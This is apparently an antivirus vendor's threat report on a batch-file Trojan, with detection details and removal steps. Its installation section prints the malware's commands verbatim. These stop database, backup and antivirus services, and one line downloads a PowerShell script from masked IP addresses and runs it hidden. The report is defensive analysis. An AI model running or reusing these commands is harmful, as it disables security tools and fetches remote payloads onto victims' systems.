Analysis by: Kenneth Mcneil Angel
ALIASES:

Trojan:Win32/AggBITSAbuse.A(MICROSOFT);

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 2,452 bytes
File Type: BAT
Memory Resident: No
Initial Samples Received Date: 05 May 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • net stop QBCFMonitorService /y
  • net stop QBPOSDBServiceV12 /y
  • net stop QBVSS /y
  • net stop QuickBooksDB21 /y
  • net stop QuickBooksDB22 /y
  • net stop QuickBooksDB23 /y
  • taskkill /f /im ntrtscan.exe
  • taskkill /f /im oracle*
  • taskkill /f /im pg_ctl.exe
  • taskkill /f /im postg*
  • taskkill /f /im QB*
  • taskkill /f /im sage*
  • taskkill /f /im sap*
  • taskkill /f /im apach*
  • taskkill /f /im b1*
  • taskkill /f /im ba*
  • taskkill /f /im bd2*
  • taskkill /f /im be*
  • taskkill /f /im be*
  • taskkill /f /im bes10*
  • taskkill /f /im black*
  • taskkill /f /im cbservi*
  • taskkill /f /im cbvscservi*
  • taskkill /f /im sql*
  • taskkill /f /im store.exe
  • taskkill /f /im team*
  • taskkill /f /im vee*
  • taskkill /f /im veea*
  • taskkill /f /im wbengine*
  • taskkill /f /im wrsa.exe
  • net stop SPTimerV4 /y
  • net stop SPTraceV4 /y
  • net stop SPUserCodeV4 /y
  • net stop SPWriterV4 /y
  • net stop "server Administrator" /y
  • net stop "Simply Accounting Database Connection Manager" /y
  • net stop "StorageCraft ImageManager" /y
  • net stop acronisagent /y
  • net stop acrsch2svc /y
  • net stop Apache2 /y
  • net stop cbvscservice11 /y
  • taskkill /f /im Kaspersky Security Center Vulnerability Assessment*
  • taskkill /f /im Kaspersky Endpoint Security 10 for Windows*
  • taskkill /f /im avp*
  • taskkill /f /im db*
  • taskkill /f /im hMailServer*
  • taskkill /f /im IBM*
  • taskkill /f /im mysql*
  • taskkill /f /im nservice.exe
  • taskkill /f /im nslsvice.exe
  • net stop SPXService /y
  • net stop sqlbrowser /y
  • taskkill /f /im Kaspersky Security Center Network Agent*
  • taskkill /f /im Kaspersky Seamless Update Service*
  • taskkill /f /im *SQL*
  • taskkill /f /im agent*
  • taskkill /f /im avpsus*
  • taskkill /f /im klnagent*
  • cmd.exe /c certutil.exe -urlcache -split -f http://{BLOCKED}.{BLOCKED}.84.150/dante.ps1 %User Temp%\dante.ps1&powershell.exe wget http://{BLOCKED}.{BLOCKED}.138.220/dante.ps1 -outfile %User Temp%/dante.ps1&cmd.exe /c bitsadmin /transfer dejob /download /priority normal http://{BLOCKED}.{BLOCKED}.138.220/dante.ps1 %User Temp%\dante.ps1&powershell -ExecutionPolicy ByPass -NoLogo -NoProfile -windowstyle hidden -NoExit -File %User Temp%\dante.ps1

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.850.03
FIRST VSAPI PATTERN DATE: 05 May 2020
VSAPI OPR PATTERN File: 15.851.00
VSAPI OPR PATTERN Date: 06 May 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.KILLAV.BL. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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